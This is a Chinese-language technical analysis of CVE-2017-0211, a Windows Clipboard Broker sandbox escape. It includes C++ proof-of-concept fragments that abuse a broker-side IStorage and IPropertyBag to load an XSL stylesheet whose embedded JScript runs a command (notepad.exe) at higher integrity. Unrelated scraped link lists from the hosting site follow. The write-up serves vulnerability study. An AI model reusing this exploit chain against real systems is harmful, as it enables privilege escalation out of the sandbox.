datetime: 2017.04.28

漏洞简介

随着沙箱技术的普及,现在主流的操作系统及软件都开始支持沙箱,以此来缓解层出不穷的远程代码执行漏洞对系统造成的危害。AppContainer是自Windows 8引入的沙箱技术,最新的UWP应用会强制启用AppContainner沙箱。
因此,Edge浏览器也使用AppContainner作为沙箱来最大限度保护系统安全。并且微软还为Edge浏览器加入了更多的缓解机制来进一步加强沙箱。

传统的沙箱逃逸往往借助内核漏洞等来实现权限提升,而Jame Forshaw发现的CVE-2017-0211则利用Windows Runtime的实现缺陷进行沙箱逃逸,最终实现权限提升。此漏洞的原理和利用过程都比较精妙,本文将对此漏洞的原理和利用方法进行分析。

漏洞原理

UWP应用是指使用WinRT API开发的Modern UI风格应用程序,WinRT API是微软自Win8引入的用于应用程序开发的组件集(Windows Runtime Components),它基于COM技术发展而来。在Windows 10上,WinRT组件被注册成Windows Runtime Class。这些运行时类的相关信息被注册在Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsRuntime中。所有的UWP应用都强制位于AppContainner沙箱中(Low Integrity),导致其权限受到限制,当其访问外部资源时都需要通过相应的Broker来进行操作。因此,有许多WinRT组件都位于RuntimeBroker.exe进程(Medium Integrity)中,来实现权限检查和代理操作。CVE-2017-0211便是由于Clipboard Broker的设计缺陷导致的权限提升漏洞。

WinRT剪切板访问的实现

在Windows系统中,COM接口提供了一种用于在不同的应用程序中交换数据(剪切板操作、拖拽操作)的机制,其核心是数据对象Data Object。数据对象Data Object用来代表任何实现了IDataObject接口的对象,基于需要的数据对象或应用场景,开发者可以在继承自IDataObject接口的Data Object中实现某些方法。
    WinRT API扩展自COM,因此其内部也使用IDataObject来操作剪切板,所不同的是UWP进程对剪切板的访问请求会被OLE32通过RPC转发至RuntimeBroker进行处理。同时,为了阻止UWP进程(Low Integrity)篡改其他进程设置的剪切板内容,ClipboardBroker还要对UWP进程的SetData行为进行限制。

基于以上目的,ClipboardBroker被设计成:
    • 当UWP进程(数据生产者)通过OleSetClipboard() 设置DataObject时,由ClipboardBroker充当代理将DataObject设置到剪切板中;
    • 当UWP进程(数据消费者)通过OleGetClipboard() 请求DataObject时,ClipboardBroker会返回一个封装对象(DataObject Wrapper——CClipDataObject)。并由ClipboardBroker来作为代理从数据源(数据生产者)请求数据。
    • 在封装对象CClipDataObject里,对SetData做过滤,阻止AppContainer进程设置其他进程DataObject中的数据,如下图所示

漏洞成因

根据ClipboardBroker的实现,它并不返回原始的DataObject给UWP进程(数据消费者),取而代之的是一个封装对象。因此,对原始DataObject(数据生产者)的任何请求都将由高权限的ClipboardBroker代理发起。并且,IDataObject::GetDataHere 的输入参数STGMEDIUM要求由调用者申请,当它是一个Storage对象时,便可以被低权限的UWP进程使用。
    再结合UWP进程可以设置自定义的DataObject(通过OleSetClipboard()实现),导致攻击者可以重用这一系列功能最终实现权限提升。James Forshaw提供的POC的调用分析如下表所示(此表仅作为漏洞分析记录,请读者转到漏洞利用分析部分阅读)

漏洞利用

在这个场景下,漏洞利用过程将通过OleSetClipboard和OleGetClipboard同时扮演数据生产者和数据消费者,从而重用DataObject的功能。

创建自定义DataObject

MyDataObject继承自IDataObject,主要实现了EnumFormatEtc, GetDataHere两个方法。
    • EnumFormatEtc用来向数据消费者说明此DataObject支持哪些格式。由于之后要利用GetDataHere获取一个Storage对象,因此此处设置成TYMED_ISTORAGE存储媒介类型。
    • GetDataHere方法是漏洞利用的关键代码,主要完成:利用一个RuntimeBroker中的Storage对象实现任意代码执行。详细内容请见下一节。

设置DataObject

创建一个MyDataObject实例,使用它作为参数调用OleSetClipboard(_In_ LPDATAOBJECT pDataObj );  从而将此MyDataObject设置到剪切板中。
    这个过程主要涉及以下几个过程:
    • Ole32检测到当前进程在AppContainer中后,通过调用RuntimeBroker的CRuntimeBroker::GetClipboardBroker获取一个CClipboardBroker对象指针;并将CClipboardBroker对象指针保存在Tls线程局部存储区中。
    通过RPC调用RuntimeBroker中的ole32!CClipboardBroker::SetClipboard,将当前MyDataObject设置到剪切板中。
    • RuntimeBroker中的CClipboardBroker::SetClipboard被调用后,首先通过CoImpersonateClient() 模拟数据生产者的身份,打开并清空剪切板,设置关联到剪切板的窗口属性;然后将MyDataObject对象设置到剪切板,并通过RPC回调MyDataObject::EnumFormatEtc获取并设置剪切板格式,通过RPC回调MyDataObject::GetDataHere。最后通过CoRevertToSelf() 结束模拟。(注:由于存在CoImpersonateClient,因此在MyDataObject::GetDataHere的实现中,会通过_set_clipboard来判断OleSetClipboard是否已经完成)

获取DataObject Wapper

将MyDataObject设置到剪切板后,就可以再次扮演数据消费者重用OleGetClipboard(_Out_ LPDATAOBJECT *ppDataObj ); 从而获取MyDataObject的Wapper,对数据进行“消费“。
RuntimeBroker中的ole32!CClipboardBroker::GetClipboard主要涉及对剪切板数据及格式的获取,对原始MyDataObject进行封装,最终会返回给数据消费者一个MyDataObject的Wapper——CClipDataObject。

代码执行

此时即可扮演数据消费者,调用IDataObject::GetData。这将导致RuntimeBroker中的ole32!CClipDataObject::GetData被调用,最终CClipDataObject::GetData会通过RPC回调至UWP进程中原始的MyDataObject::GetDataHere。由于GetDataHere的参数FORMATETC已经被指定为TYMED_ISTORAGE类型,因此STGMEDIUM参数将是一个在RuntimeBroker中创建的Storge对象指针。对IStorge的任何方法调用,都将通过RPC回调至RuntimeBroker中执行。
    在这里James Forshaw采用了一种非常精妙的利用方法,使用结构化存储对象Storage实现任意代码执行。下面将详细分析整个过程。

• 函数原型
        GetDataHere(
                /* [annotation][unique][in] */
                _In_  FORMATETC *pformatetc,
                /* [annotation][out][in] */
                _Inout_  STGMEDIUM *pmedium)

• 通过IStorage::CreateStorage利用RuntimeBroker中的Storage里创建一个新的可读可写的命名("TestStorage")存储对象——new_stg。相关代码如下:
        IStorage* stg = pmedium->pstg;
        IStorage* new_stg;
        stg->CreateStorage(L"TestStorage", 2 | 0x1000 | 0x10, 0, 0, &new_stg);

• 实例化一个自定义的FakeClass类
    FakeClass类继承自IPersistStream接口,主要重载并实现了以下方法:IPersist::GetClassID, IPersistStream::Save, IPersistStream::GetSizeMax。
    其中,IPersist::GetClassID用来指示当前对象是一个XML DOM对象(FakeClass类将伪装成一个XML DOM对象);IPersistStream::Save用于后面通过PropertyBag来持久化FakeClass对象,保存Payload。
    注意,这里的Payload是一段XSL(Extensible Stylesheet Language)。相关代码如下:
        FakeClass* c = new FakeClass();
        
        virtual HRESULT STDMETHODCALLTYPE GetClassID(
            /* [out] */ __RPC__out CLSID *pClassID)
        {
            *pClassID = CLSID_MsXmlDomDocument6;
            return S_OK;
        }
        
        virtual HRESULT STDMETHODCALLTYPE Save(
                /* [unique][in] */ __RPC__in_opt IStream *pStm,
                /* [in] */ BOOL fClearDirty)
        {
            const char* xml = "<xsl:stylesheet version='1.0' xmlns:xsl='http://www.w3.org/1999/XSL/Transform' xmlns:msxsl='urn:schemas-microsoft-com:xslt' xmlns:user='http://mycompany.com/mynamespace'> <msxsl:script language='JScript' implements-prefix='user'> function xml(nodelist) { var o = new ActiveXObject('WScript.Shell'); o.Exec('notepad.exe'); return nodelist.nextNode().xml; } </msxsl:script> <xsl:template match='/'> <xsl:value-of select='user:xml(.)'/> </xsl:template> </xsl:stylesheet>";
            Check(pStm->Write(xml, strlen(xml), nullptr));
            return S_OK;
        }
        
        
    • 使用FakeClass对象指针来初始化一个_variant_t
    因为_variant_t重载了"=",所以variant_t v = c; 将导致使用FakeClass对象来初始化_variant_t:初始化_variant_t.vt为VT_UNKNOWN,_variant_t.punkVal为IPersistStream。相关代码如下:
        
        variant_t v = c;
        
        inline _variant_t& _variant_t::operator=(IUnknown* pSrc)
        {
            _COM_ASSERT(V_VT(this) != VT_UNKNOWN || pSrc == NULL || V_UNKNOWN(this) != pSrc);
        
            // Clear VARIANT (This will Release() any previous occupant)
            //
            Clear();
        
            V_VT(this) = VT_UNKNOWN;
            V_UNKNOWN(this) = pSrc;
        
            if (V_UNKNOWN(this) != NULL) {
                // Need the AddRef() as VariantClear() calls Release()
                //
                V_UNKNOWN(this)->AddRef();
            }
        
            return *this;
        }

• 持久化FakeClass(XML DOM对象)到new_stg中
    通过new_stg查询IPropertyBag接口,并调用IPropertyBag::Write方法,从而将名为"Hello"的VARIANT属性(FakeClass对象)写入PropertyBag。查阅微软文档发现,调用者可以让PropertyBag保存VARIANT结构外的其他类型的对象。当_variant_t.vt为VT_UNKNOWN时,PropertyBag会查询被保存对象的持久化接口(这里是IPersistStream)。随后调用IPersistMedium::GetClassID获取CLSID,将其保存到存储介质上。最后调用IPersistStream::Save方法(即FakeClass重载的Save),将数据写入PropertyBag。
    持久化操作完成后,调用IStorage::Commit提交针对根存储对象(即RuntimeBroker中的Storage)的改变。相关代码如下:
        
        WriteToPropertyBag(new_stg, L"Hello", v);
        new_stg->Commit(STGC_DEFAULT));
        new_stg->Release();
        new_stg = nullptr;
        
        HRESULT WriteToPropertyBag(IStorage* storage, LPCWSTR lpName, VARIANT& v)
        {
            IPropertyBag* bag;
            HRESULT hr = storage->QueryInterface(IID_PPV_ARGS(&bag));
            if (SUCCEEDED(hr))
            {
                hr = bag->Write(lpName, &v);
                bag->Release();
            }
        
            return hr;
        }
        
        
    • 当数据被提交到RuntimeBroker中的Storage后,再次利用IPropertyBag接口,将名为"Hello"的FakeClass对象(XML DOM对象)读取出来。
        variant_t v2;
        v2.vt = VT_UNKNOWN;
        ReadFromPropertyBag(new_stg, L"Hello", v2);
        
        HRESULT ReadFromPropertyBag(IStorage* storage, LPCWSTR lpName, VARIANT& v)
        {
            IPropertyBag* bag;
        
            HRESULT hr = storage->QueryInterface(IID_PPV_ARGS(&bag));
            if (SUCCEEDED(hr))
            {
                hr = bag->Read(lpName, &v, nullptr);
                bag->Release();
            }
        
            return hr;
        }
        
        
    • 任意代码执行
    通过QueryInterface取回IXMLDOMDocument3接口指针。
    调用IXMLDOMDocument2::setProperty来设置DOM对象的AllowXsltScript属性,从而开启XSL 转换(Extensible Stylesheet Language Transform, XSLT)时“<msxsl:script>”标签的执行功能。
    一切就绪后,调用IXMLDOMNode::transformNode,执行这段XSL转换,最终导致“<msxsl:script>”标签中的JScript被执行。
        v2.punkVal->QueryInterface(&doc)
        variant_t true_var(true);
        doc->setProperty(bstr_t(L"AllowXsltScript"), true_var)
        bstr_t result;
        doc->transformNode(doc, result.GetAddress());

总结

整个漏洞原因和利用分析完毕后,可以看到此漏洞的关键点在于Clipboard Broker为了保护剪切板数据不被篡改,从而给原始的DataObject进行了封装。而这种封装将导致原始的DataObject永远不会被序列化到数据消费者进程空间内,使得对IDataObject的任何调用,都会由高权限的Clipboard Broker代理进行。因此,当原始的对象中存在敏感操作时,就可能会被攻击者所重用。最终造成权限提升。
    对于这个漏洞还需要注意的是,James Forshaw利用一个可控的Storage对象实现了代码执行。整个利用思路值得学习。

Reference

https://bugs.chromium.org/p/project-zero/issues/detail?id=1079

附录-剪切板小结

小结一下Desktop App和UWP App访问剪切板的方式。

普通应用如何访问剪切板

传统的桌面应用程序(Desktop App)可以通过两种方式访问剪切板:1. Win32 API;  2. Data Transfer Interfaces

Win32 API

写剪切板的一般步骤:
    1. OpenClipboard()
    2. EmptyClipboard()
    3. SetClipboardData(CF_TEXT,hClipboardData)
    4. CloseClipboard()

读剪切板的一般步骤:
    1. OpenClipboard()
    2. GetClipboardData(CF_TEXT)
    3. CloseClipboard()

https://msdn.microsoft.com/en-us/library/windows/desktop/ff468800(v=vs.85).aspx
https://www.codeproject.com/Articles/2242/Using-the-Clipboard-Part-I-Transferring-Simple-Tex

Data Transfer Interfaces

Data Transfer Interfaces本身是Win32 API的封装,核心是IDataObject,在这个基础上通过剪切板实现了生产者和消费者的数据传输(剪切板数据交互、文件拖拽等功能)。下表列举了不同数据传输场景下需要使用的接口:

写剪切板的一般步骤:
    1. Create IDataObject Instance
    2. OleSetClipboard() to pass a data-object pointer to OLE to place the IDataObject pointer onto the clipboard.
    3. OleFlushClipboard()

读剪切板的一般步骤:
    1. OleGetClipboard() to get the data-object pointer
    2. (RPC) IDataObject::EnumFormatEtc()
    3. (RPC) IDataObject::GetData

https://msdn.microsoft.com/en-us/library/windows/desktop/ms680067(v=vs.85).aspx
https://msdn.microsoft.com/en-us/library/windows/desktop/ms680067(v=vs.85).aspx

UWP如何访问剪切板

对于需要访问剪切板的UWP应用(UWP App/Modern App)来说,对应的WinRT API命名空间是Windows.ApplicationModel.DataTransfer。

写剪切板的一般步骤:
    1. 创建一个DataPackage对象
    2. 将数据设置到DataPackage 对象中
    3. 使用Clipboard:: SetContent(DataPackage content)将DataPackage对象包含的数据设置到剪切板中。

读剪切板的一般步骤:
    1. 调用Clipboard::GetContent()返回一个DataPackageView对象
    2. 通过DataPackageView的方法读取数据内容

数据又是如何写进剪切板的呢?逆向分析Clipboard:: SetContent的实现,其步骤如下图所示:

1. 调用参数DataPackage的GetView方法,获取一个只读的DataPackageView对象。实际上DataPackageView对象是一个实现了IDataObject的Data Object。
    2. 将DataPackageView作为参数,调用OleSetClipboard(DataPackageView),最终RuntimeBroker中的CClipboardBroker会将数据写进剪切板

由上面的过程我们可以得到结论:Windows.ApplicationModel.DataTransfer实际上是Data Transfer Interfaces的封装,内部一样使用IDataObject实现剪切板访问或拖拽功能;

RuntimeBroker ClipboardBroker EoP的更多相关文章

  1. javashop技术培训总结,架构介绍,Eop核心机制

    javashop技术培训一.架构介绍1.Eop核心机制,基于spring的模板引擎.组件机制.上下文管理.数据库操作模板引擎负责站点页面的解析与展示组件机制使得可以在不改变核心代码的情况下实现对应用核 ...

  2. 002使用eop来烧写程序

  3. 常见编译器EOP

    delphi:  55            PUSH EBP  8BEC          MOV EBP,ESP  83C4 F0       ADD ESP,-10  B8 A86F4B00  ...

  4. CVE-2021-33739 EOP漏洞分析

    背景   CVE-2021-33739是一个UAF漏洞,成因是由于在对象CInteractionTrackerBindingManagerMarshaler与对象CInteractionTracker ...

  5. java web学习总结(二十八) -------------------JSP中的JavaBean

    一.什么是JavaBean JavaBean是一个遵循特定写法的Java类,它通常具有如下特点: 这个Java类必须具有一个无参的构造函数 属性必须私有化. 私有化的属性必须通过public类型的方法 ...

  6. SharePoint文档库文件夹特殊字符转义

    当我们在SharePoint网站文档库中新建文件夹时包含了~ " # % & * : < > ? / \ { | }字符时(一共15个), 或者以.开头或者结束,或者包含 ...

  7. Beginning Scala study note(4) Functional Programming in Scala

    1. Functional programming treats computation as the evaluation of mathematical and avoids state and ...

  8. locky勒索样本分析

    前段时间收到locky样本,分析之后遂做一个分析. 样本如下所示,一般locky勒索的先决条件是一个js的脚本,脚本经过了复杂的混淆,主要用于下载该样本文件并运行,. 解密 样本本身进行了保护,通过i ...

  9. C算法编程题(五)“E”的变换

    前言 上一篇<C算法编程题(四)上三角> 插几句话,说说最近自己的状态,人家都说程序员经常失眠什么的,但是这几个月来,我从没有失眠过,当然是过了分手那段时期.每天的工作很忙,一个任务接一个 ...

随机推荐

  1. (转)使用LVS实现负载均衡原理及安装配置详解

    使用LVS实现负载均衡原理及安装配置详解 原文:https://www.cnblogs.com/liwei0526vip/p/6370103.html

  2. C# CultureInfo中常用的InvariantCulture

    本文参考自CultureInfo中重要的InvariantCulture,纯属读书笔记,加深记忆 1.CultureInfo的InvariantCulture的作用 (1).CultureInfo使整 ...

  3. 在centos linux上安装docker

    前置条件 64-bit 系统 kernel 3.10+ 1.检查内核版本,返回的值大于3.10即可. $ uname -r 2.确保yum是最新的 $ yum update 3.安装 Docker y ...

  4. Centos 从零开始 (二)

    因为我是搞 nodejs的 所以以后会安装一些依赖于node的 比如mongodb数据库等. 6:安装nodejs 安装的时候遇到个小问题.yum install nodejs 报错 说没有这个包.然 ...

  5. ASP.Net Core MVC 网站在Windows服务器跑不起来

    1.vs远程发布到服务器,浏览器访问,报错502 2.打开错误提示提供的网址参考 3.安装runtime,sdk,Hosting Bundle Installer,其他操作 .....发现并没有什么用 ...

  6. java 散列运算浅分析 hash()

            文章部分代码图片和总结来自参考资料 哈希和常用的方法 散列,从中文字面意思就很好理解了,分散排列,我们知道数组地址空间连续,查找快,增删慢,而链表,查找慢,增删快,两者结合起来形成散列 ...

  7. 快速搭建maven私服 Artifactory on Docker

    1.下载官方镜像 docker pull docker.bintray.io/jfrog/artifactory-oss:latest 2.启动容器 docker run --name artifac ...

  8. 【Immutable】拷贝与JSON.parse(JSON.stringify()),深度比较相等与underscore.isEqual(),性能比较

    样本:1MB的JSON文件,引入后生成500份的一个数组: 结果如下: 拷贝性能: JSON.parse(JSON.stringify()) 的方法:2523.55517578125ms immuta ...

  9. linux cut: invalid byte, character or field list Try 'cut --help' for more information.

    1. 概述 centos执行简单shell 脚本 报错 cut: invalid byte, character or field listTry 'cut --help' for more info ...

  10. cnpm 安装

    国内npm 安装比较慢,可选择cnpm npm install -g cnpm --registry=https://registry.npm.taobao.org